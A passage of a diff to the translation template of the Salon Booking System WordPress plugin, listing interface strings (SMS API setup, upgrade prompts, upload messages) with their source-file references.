build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:225\n-msgid \"Sender ID cannot be empty\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:192\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:192\n+msgid \"Update SMS Settings Now\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:237, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:237, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:237, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:237, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:237\n-msgid \"Sender ID \\\"%s\\\" registered successfully\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:751\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:751\n+msgid \"Update totals\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:246, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:246, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:246, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:246, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:246\n-msgid \"Failed to register sender ID: %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_preview.php:60\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_preview.php:60\n+msgid \"Updating preview...\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:294, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:294, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:294, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:294, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:294\n-msgid \"IP1SMS API V2 Setup\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:127\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:127\n+msgid \"Upgrade to Business Plan\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:207\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:292\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:360\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:481\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:501\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:543\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:224\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:207\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:292\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:360\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:481\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:501\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:543\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:224\n+msgid \"Upgrade to PRO\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:295, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:295, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:295, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:295, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:295\n-msgid \"IP1SMS has migrated to a new API. Follow these steps to set up:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:415\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:415\n+msgid \"Upgrade to Pro\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:297, src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:170, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:297, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:170, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:297, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:297, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:297, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:170\n-msgid \"Log in to\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:362\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:362\n+msgid \"Upgrade to PRO edition to use this feature\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:298, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:298, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:298, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:298, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:298\n-msgid \"Navigate to \\\"Konton\\\" > \\\"API-nycklar\\\"\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:506\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:506\n+msgid \"Upgrade to unlock premium extensions\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:82\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:102\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:50\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:70\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:82\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:102\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:50\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:70\n+msgid \"Upload image error.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:299, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:299, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:299, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:299, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:299\n-msgid \"Click \\\"Lägg till nyckel\\\" to create a new API key\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:76\n+msgid \"Upload your logo\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:300, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:300, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:300, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:300, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:300\n-msgid \"Copy the API key and paste it below\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:131\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:131\n+msgid \"URGENT: IP1SMS API Has Been Deprecated - SMS Notifications Not Working!\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:301, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:301, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:301, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:301, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:301\n-msgid \"Register your sender ID (phone number) in the portal\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:133\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:133\n+msgid \"URGENT: IP1SMS API Migration Required - Only\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:302, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:302, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:302, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:302, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:302\n-msgid \"Use the \\\"Sender's number\\\" and \\\"Country code\\\" fields in the default section below\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1668\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:860\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1668\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:860\n+msgid \"Url file for the photo.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:306, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:306, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:306, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:306, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:306\n-msgid \"View API Documentation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:119\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:119\n+msgid \"Usage (used \u002F limit)\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:309, src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:200, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:309, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:200, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:309, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:200, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:309, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:200, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:309, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:200\n-msgid \"API Key Setup Guide\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:143\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:143\n+msgid \"\"\n+\"Use a number to give this service an order of execution compared to the \"\n+\"other services.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:319, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:319, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:319, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:319, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:319\n-msgid \"API Key (Bearer Token)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:163\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:171\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:163\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:171\n+msgid \"Use it in case of conflicts with your theme\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:322, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:322, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:322, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:322, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:322\n-msgid \"Paste your API key here\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fresource.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:18\n+msgid \"Use it to temporarily disable this resource\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:327, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:327, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:327, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:327, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:327\n-msgid \"Get your API key from the IP1 portal\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:302\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:302\n+msgid \"\"\n+\"Use the \\\"Sender's number\\\" and \\\"Country code\\\" fields in the default \"\n+\"section below\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:342, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:342, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:342, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:342, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:342\n-msgid \"Sender ID (Phone Number)\"\n+#: 